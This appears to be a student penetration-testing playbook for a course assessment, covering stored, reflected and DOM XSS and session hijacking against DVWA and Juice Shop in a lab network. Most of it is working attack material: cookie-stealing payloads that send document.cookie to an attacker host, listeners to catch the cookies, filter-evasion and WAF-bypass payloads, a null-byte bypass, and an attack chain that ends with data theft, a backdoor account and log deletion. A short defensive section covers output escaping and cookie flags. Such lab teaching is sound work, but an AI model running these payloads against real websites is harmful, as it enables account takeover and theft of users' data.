SCC.442 Comprehensive Individual Penetration Testing Playbook

Lab-Integrated Edition + Web XSS & Session Hijacking

Target Network: 192.168.25.0/24
Attacker Machine (Kali): 192.168.25.100
Challenge Targets: 192.168.25.110, 192.168.25.120, 192.168.25.130, 192.168.25.140, 192.168.25.150, 192.168.25.160
Assessment Goal: Capture `proof.txt` from each machine

UPDATED TABLE OF CONTENTS

- SECTION 4B: Web Cross Site Scripting (XSS) – Lab 21
- SECTION 4C: Web Session Hijacking – Lab 22
- XSS + Session Hijacking Attack Chain

SECTION 4B: WEB CROSS SITE SCRIPTING (XSS) – LAB 21

CWE-79 Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
Kill Chain: Delivery (Stage 3) → Exploitation (Stage 4)

4B.1 Types of XSS Vulnerabilities

Type 1: Stored XSS (Persistent)

What it is:

- Payload stored in database (guestbook, comment, forum post, etc.)
- **Every user** who loads page sees the payload
- **Most dangerous** – automated, affects many users

Lab Example: DVWA Guestbook[1]

```
 # Step 1: Navigate to DVWA
firefox http://TARGET/vulnerabilities/xss_s/

# Step 2: Login with admin/password
# (Default creds in DVWA)

# Step 3: Set security level to LOW
# DVWA Security → Low → Submit

# Step 4: Go to XSS Stored section
# Navigate to: http://192.168.25.1XX/vulnerabilities/xss_s/

# Step 5: Inspect the guestbook form
# Right-click → Inspect
# Check method: POST or GET

# Step 6: Enter payload in message field
<script>alert('Hacked')</script>

# Step 7: Click "Sign Guestbook"
# You should see alert pop-up

# Step 8: Refresh page
# Alert appears AGAIN because payload is stored in database!
```

Why it's dangerous:

- Stored in database permanently
- Automatically executes for **all visitors**
- No user action required after storage

Type 2: Reflected XSS (Non-Persistent)

What it is:

- Payload in URL, reflected back in page
- Requires **social engineering** (user must click link)
- **Less dangerous** than stored

Lab Example: DVWA Reflected XSS[1]

```
 # Step 1: Navigate to reflected page
firefox http://TARGET/vulnerabilities/xss_r/

# Step 2: Enter payload in text box
<script>alert('Hacked')</script>

# Step 3: Submit form
# Alert appears (payload in URL)

# Step 4: Check page URL (Ctrl+L)
# URL contains: ...default=<script>alert('Hacked')</script>

# Step 5: Understand the difference
# Reflected: Payload ONLY in URL, not in database
# Once URL is gone, payload is gone
```

Attack Pattern:

1. Attacker crafts malicious URL
2. Attacker sends link to victim (email, chat, etc.)
3. Victim clicks link
4. JavaScript executes in victim's browser
5. **Attacker steals cookies/session token**

Type 3: DOM XSS (Client-side)

What it is:

- Vulnerability in **JavaScript code** on client
- NOT server-side data, but DOM manipulation
- Browser processes payload before sending to server

Lab Example: DVWA DOM XSS[1]

```
 # Step 1: Go to XSS DOM page
firefox http://TARGET/vulnerabilities/xss_d/

# Step 2: View page source (Ctrl+U)
# Look for JavaScript that processes URL parameters

# Step 3: Payload in URL fragment (after #)
# Fragments NOT sent to server!

http://TARGET/vulnerabilities/xss_d/#<script>alert('DOM XSS')</script>

# Step 4: Browser processes fragment locally
# Server never sees the payload
# But JavaScript executes anyway!
```

4B.2 XSS Exploitation Payloads

Basic Alert (Test Only)

```
<script>alert('XSS')</script>
```

Cookie Stealing (Most Common Attack)

```
<script>
document.location='http://ATTACKER_IP:8000/?cookie='+document.cookie;
</script>
```

On Attacker Kali:

```
# Start HTTP listener to capture cookies
python3 -m http.server 8000

# When victim clicks malicious URL:
# Attacker sees in terminal:
# GET /?cookie=SESSIONID=abc123... HTTP/1.1
```

Advanced: XSS with Image Tag (Evade Filters)

```
<img src=x onerror="document.location='http://ATTACKER:8000/?c='+document.cookie">
```

Encode to Bypass Filters (URL Encoding)

```
Original: <script>alert('XSS')</script>
URL Encoded: %3Cscript%3Ealert('XSS')%3C/script%3E
```

Decoder tools:

- Online: https://www.w3schools.com/tags/ref_urlencode.asp
- Burp Suite built-in decoder
- Python: `urllib.parse.quote()`

Base64 Encoding (Bypass WAF)

```
# Encode payload
echo '<script>alert("XSS")</script>' | base64
# Output: PHNjcmlwdD5hbGVydCgiWFNTIikgPC9zY3JpcHQ+

# Use in payload:
<script>eval(atob('PHNjcmlwdD5hbGVydCgiWFNTIikgPC9zY3JpcHQ+'))</script>
```

4B.3 XSS Detection & Testing

Manual Testing Steps

```
# Step 1: Identify all input fields
# - Text boxes, comments, search bars, usernames, emails

# Step 2: Try basic payload
<script>alert('XSS')</script>

# Step 3: If blocked, try variations
<Script>alert('XSS')</Script>
<IMG SRC="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>

# Step 4: Check page source (Ctrl+U)
# Does your payload appear unescaped?
# If yes → XSS likely vulnerable

# Step 5: Check browser console (F12)
# Any JavaScript errors? Indicates execution
```

Automated Testing (from Lab 21)

```
# OWASP XSS Filter Evasion Cheat Sheet techniques
# https://owasp.org/www-community/xss-filter-evasion-cheatsheet

# Use Burp Suite repeater for systematic testing:
# 1. Capture request (F12 → Network)
# 2. Send to Burp Repeater
# 3. Modify payload, send, observe response
# 4. Rinse and repeat with evasion techniques
```

4B.4 XSS in DVWA (Lab 21 Walkthrough)

Stored XSS in DVWA Guestbook[1]

```
# Security Level: Low
# Vulnerability: No input sanitization

# Step 1: Access guestbook
firefox http://192.168.25.1XX/vulnerabilities/xss_s/

# Step 2: Login
# Username: admin
# Password: password

# Step 3: Right-click form, Inspect
# Notice: <form method="POST">

# Step 4: Enter name
# Enter payload in message:
<script>alert('Stored XSS')</script>

# Step 5: Click Sign Guestbook

# Step 6: See alert pop-up
# Refresh page → Alert appears again (stored!)

# Step 7: Verify in database (if you have access)
ssh jane@192.168.25.1XX
mysql -u dvwa -p
# Password: p@ssw0rd
SELECT * FROM dvwa.guestbook;
# Your payload is stored in table!
```

Reflected XSS in DVWA[1]

```
# Step 1: Go to Reflected XSS page
firefox http://192.168.25.1XX/vulnerabilities/xss_r/

# Step 2: Enter payload in text box
<script>alert('Reflected XSS')</script>

# Step 3: Submit
# Alert appears

# Step 4: Check URL
# Shows: default=<script>alert('Reflected XSS')</script>

# Step 5: Copy URL and send to someone
# They click link → alert appears for THEM
# But payload NOT in database
```

DOM XSS Exploitation (Juice Shop – More Advanced)[1]

```
# Juice Shop is more modern than DVWA
# Uses JavaScript frameworks that make DOM XSS harder

# Step 1: Find vulnerable endpoint
firefox http://192.168.25.1XX:3000

# Step 2: Use Poison Null Byte to bypass filters
# Technique: Add %00 or %20 to bypass path filters

# Example: Access package.json.bak
http://192.168.25.1XX:3000/ftp/package.json.bak%00.md
# %00 = null byte (some filters stop at this)
# %20 = space character

# Step 3: Find vulnerable JavaScript libraries
# Look for old versions of sanitize-html, DOMPurify, etc.
# Check version in package.json

# Step 4: Search CVE database
# Find known XSS bypass for that version
# Apply bypass technique
```

4B.5 XSS Prevention & Bypass Techniques

Common XSS Protections

Protection	Bypass Technique
`<script>` blocked	Use `<img onerror=>`, `<body onload=>`, etc.
Case-sensitive filter	`<ScRiPt>` (mixed case)
Whitelist of safe tags	Use events: `<img src=x onerror=alert(1)>`
HTML entities encode	Send pre-encoded: `%3Cscript%3E`
CSP (Content Security Policy)	Harder to bypass; try Burp XSS Scanner

OWASP XSS Evasion Techniques[1]

```
// 1. Encoding bypass
<img src="x" onerror="alert(String.fromCharCode(88,83,83))">

// 2. Event handler abuse
<body onload=alert(1)>
<svg/onload=alert(1)>
<iframe onload=alert(1)>

// 3. Protocol handler
<a href="javascript:alert(1)">click</a>

// 4. Data URL
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

// 5. Nested encoding
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
```

SECTION 4C: WEB SESSION HIJACKING – LAB 22

CWE-626 Null Byte Interaction Error (Poison Null Byte)
CWE-79 Improper Neutralization of Input During Web Page Generation (XSS)
Kill Chain: Delivery (Stage 3) → Exploitation (Stage 4) → Actions on Objectives (Stage 7)

4C.1 Session Hijacking Overview

What it is:

- Steal user's session token (cookie)
- Impersonate user with their stolen cookie
- Access user's account, data, privileges

Attack Chain (from Lab 22):[1]

```
1. Find XSS on website (contact form, etc.)
2. Craft payload to steal cookies
3. Send malicious link to victim (social engineering)
4. Victim opens link → JavaScript executes
5. Victim's cookies sent to attacker's server
6. Attacker copies cookie
7. Attacker replaces their own cookie with victim's
8. Attacker refreshes page → LOGGED IN AS VICTIM
```

4C.2 Cookie Structure & Theft

Understanding Cookies[1]

Cookies are set by server, stored by browser:

```
# In Firefox Developer Tools (F12):
# Storage → Cookies → http://TARGET

# Common cookies for web apps:
# - PHPSESSID (PHP sessions)
# - SESSIONID (generic)
# - token (JWT or custom)
# - continueCode (tracking)
# - __Host-* (secure, HttpOnly flags)
```

Cookie Attributes (Security)[1]

Attribute	Purpose	Bypass
`HttpOnly`	Cookie not accessible via JavaScript	Can't steal with `document.cookie`
`Secure`	Only sent over HTTPS	XSS on HTTP still vulnerable
`SameSite`	Prevent CSRF by restricting cross-site	Older browsers may ignore
`Domain`	Which sites can access cookie	Same domain XSS can steal

Stealing Cookies via XSS[1]

```
// Simple cookie exfiltration
<script>
document.location='http://ATTACKER_IP:8000/?cookie='+document.cookie;
</script>

// More advanced (Base64 encode)
<script>
fetch('http://ATTACKER_IP:8000/?c='+btoa(document.cookie));
</script>

// Using image tag (no CORS issues)
<img src="http://ATTACKER_IP:8000/?cookie=..." onerror="alert(1)">
```

On Attacker Kali:

```
# Start listener
python3 -m http.server 8000

# When victim visits XSS payload:
# Terminal shows: GET /?cookie=token=abc123; continueCode=xyz789... HTTP/1.1
# Copy the cookie values!
```

4C.3 Lab 22 Walkthrough: Juice Shop Session Hijacking[1]

Step 1: Find XSS Vulnerability

```
# Juice Shop has XSS on contact page
# But it's protected with sanitize-html library

# Step 1: Access contact page
firefox http://192.168.25.1XX:3000/contact

# Step 2: Check page source
# Find which JavaScript library sanitizes input

# Step 3: Look for backup config file
# Juice Shop might expose package.json.bak
# Try: http://192.168.25.1XX:3000/ftp/package.json.bak

# If blocked, use Poison Null Byte:
http://192.168.25.1XX:3000/ftp/package.json.bak%00.md

# %00 = null byte (terminates path early for some filters)
```

Step 2: Find Vulnerable Library Version[1]

```
# In package.json.bak:
# Look for: "sanitize-html": "1.x.x"

# Check CVE database
# Example: sanitize-html 1.4.2 has XSS bypass via <iframe>

# CVE details:
# https://github.com/pichillilorenzo/sanitize-html-node
# Version 1.4.2 filters <script> but NOT <iframe>
```

Step 3: Craft XSS Payload[1]

```
 # For sanitize-html 1.4.2, use iframe:
<iframe src="javascript:fetch('http://ATTACKER:82/?cookie='+document.cookie)"></iframe>

# Alternative (if <iframe> blocked):
<img src=x onerror="fetch('http://ATTACKER:82/?cookie='+btoa(document.cookie))">

# Alternative with img (URL encode):
<img src="x" onerror="document.location='http://192.168.25.100:8000/?c='+document.cookie">
```

Step 4: Execute XSS & Steal Cookies[1]

```
 # On Kali (Attacker):
# Step 1: Start listener on port 82
sudo nc -nvlp 82
# OR
python3 -m http.server 8000

# Step 2: On vulnerable Juice Shop (as attacker):
# Go to: http://192.168.25.1XX:3000/contact
# Enter XSS payload in comment box
# Click Submit

# Step 3: Page loads normally (XSS executed silently)

# Step 4: Load a different page (e.g., /about)
# This triggers the fetch/img to connect back to attacker

# Step 5: In attacker's terminal, see:
# GET /?cookie=token=eyJ0eXAi...; continueCode=xxx HTTP/1.1

# Step 6: Copy the cookie value (everything after "?cookie=")
```

Step 5: Decode & Use Stolen Cookie[1]

```
 # Cookies are often Base64 encoded
# Decode in terminal:
echo "eyJ0eXAi..." | base64 -d

# Or decode in Python:
python3 -c "import base64; print(base64.b64decode('eyJ0eXAi...'))"

# Expected output:
# JSON data like: {"id":"123","email":"admin@juice.shop",...}

# Copy the FULL cookie string (including Base64)
```

Step 6: Replace Cookie & Impersonate User[1]

```
 # On Kali, in Firefox (as attacker):
# Step 1: Go to Juice Shop
firefox http://192.168.25.1XX:3000

# Step 2: Open Developer Tools (F12)

# Step 3: Go to Storage tab

# Step 4: Click Cookies → http://192.168.25.1XX:3000

# Step 5: Delete your current "token" cookie
# Right-click → Delete

# Step 6: Create new cookie
# Click in empty space, add:
# Name: token
# Value: [paste stolen cookie]

# Step 7: Also update "continueCode"
# (Same process)

# Step 8: Refresh page (F5)
# You're now logged in as the victim!
```

4C.4 Why This Attack Works

Root Cause[1]

```
1. XSS EXISTS on website (step 1)
   → Allows JavaScript to execute

2. Cookie NOT HttpOnly
   → JavaScript can read document.cookie

3. No CSRF token validation on actions
   → Stolen session = full account access

4. Session never expires
   → Stolen cookie valid indefinitely
```

Impact[1]

Attacker can now:

- View victim's personal information
- Make purchases as victim
- Change victim's account details
- Access victim's orders/addresses
- Potentially escalate to admin if victim is admin

4C.5 Session Hijacking Defense

Protection Mechanisms[1]

Defense	How it helps
`HttpOnly` flag	Prevents `document.cookie` JavaScript access
`Secure` flag	Cookie only sent over HTTPS

Defense	How it helps
`SameSite=Strict`	Prevents cross-site cookie sending
CSRF tokens	Verifies requests came from legitimate user
Session timeout	Expires old sessions after inactivity
IP binding	Session valid only from original IP
User-Agent checking	Session tied to browser fingerprint

Modern Browser SameSite Default[1]

```
 Firefox & Chrome now default to SameSite=Lax
This PARTIALLY prevents CSRF/hijacking
But XSS attacks still work (same-site!)

Check Firefox settings:
about:config → network.cookie.sameSite.laxByDefault
```

XSS + SESSION HIJACKING ATTACK CHAIN

Complete Real-World Example

```
SCENARIO: Attacker wants admin access to web app

STEP 1: Reconnaissance
├─ Identify website
├─ Find contact form / comment section
├─ Check for input validation
└─ Test basic XSS: <script>alert(1)</script>

STEP 2: XSS Payload Crafting
├─ If blocked, use evasion: <img onerror=...>
├─ Find JavaScript libraries (package.json, source code)
├─ Search for CVE in that version
├─ Craft bypass payload

STEP 3: Cookie Theft
├─ Create payload: <img src=x onerror="fetch('http://ATTACKER:8000/?c='+document.cookie)">
├─ Post to vulnerable page
├─ Attacker starts listener: python3 -m http.server 8000
└─ Attacker captures cookie in GET request

STEP 4: Session Hijacking
├─ Copy stolen cookie value
├─ Open Firefox → F12 → Storage → Cookies
├─ Replace "token" with stolen value
├─ Refresh page

STEP 5: Account Takeover
├─ Logged in as original user
├─ Can now access:
│  ├─ User data
│  ├─ Payment info
│  ├─ Settings
│  └─ (If admin) Full site control

STEP 6: Cover Tracks
├─ Download important data
├─ Change admin email to attacker
├─ Add backdoor account
└─ Delete access logs (if possible)
```

Quick Command Reference: XSS + Session Hijacking

```
# 1. Test for XSS
# Try in every input field:
<script>alert('XSS')</script>

# 2. If basic blocked, try variations:
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>

# 3. Steal cookies
<img src=x onerror="fetch('http://192.168.25.100:8000/?c='+document.cookie)">

# 4. On attacker Kali, start listener:
python3 -m http.server 8000

# 5. Decode Base64 cookies:
echo "eyJpZCI6IjEyMyJ9" | base64 -d

# 6. Burp Suite (alternative):
# Capture request → Send to Repeater
# Modify payload, observe response
# Repeat with different payloads

# 7. Browser DevTools cookie replacement:
# F12 → Storage → Cookies → Edit/Add token

# 8. Verify hijack successful:
# Refresh page, should be logged in as victim
```

Detection & Mitigation

For Defenders (Secure Code)[1]

Input validation:

```
// BAD: No sanitization
echo $_GET['comment'];

// GOOD: Escape output
echo htmlspecialchars($_GET['comment'], ENT_QUOTES, 'UTF-8');

// BETTER: Use templating engine
// (Symfony, Twig, etc. auto-escape)
```

Cookie security:

```
// Set secure flags
setcookie("token", $value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // No JavaScript access
    'samesite' => 'Strict' // No CSRF
]);
```

For Attackers (Exploitation Checklist)[1]

- ☐ Identify input validation (none, weak, strict)
- ☐ Test basic payloads
- ☐ Research JavaScript libraries used

- [ ] Find CVEs for vulnerable versions
- [ ] Craft bypass payload
- [ ] Post XSS payload to vulnerable page
- [ ] Capture cookies with listener
- [ ] Decode cookie (if Base64)
- [ ] Replace own cookie in Firefox
- [ ] Verify account access
- [ ] Extract/modify data

Common XSS + Hijacking Scenarios in CTF

Scenario A: Comment Form XSS → Admin Cookie Steal

```
Vulnerable: http://TARGET/comments
Action: Post XSS in comment
Result: Admin visits page, cookie stolen
Attack: Replace cookie, become admin
```

Scenario B: Search Bar Reflected XSS → Phishing

```
Vulnerable: http://TARGET/search?q=PAYLOAD
Action: Send victim malicious URL
Result: Victim's browser executes XSS
Attack: Steal session, login as victim
```

Scenario C: Profile Page DOM XSS → Self-Hijacking

```
Vulnerable: http://TARGET/profile#userData
Action: Craft URL with XSS in fragment
Result: Fragment processed by client-side JS
Attack: Payload executes, steals own/victim session
```

XSS & Session Hijacking are powerful combinations. Master them!

Playbook Version: 3.0 – With XSS + Session Hijacking
Last Updated: December 11, 2025
For: SCC.442 Individual Penetration Testing Assessment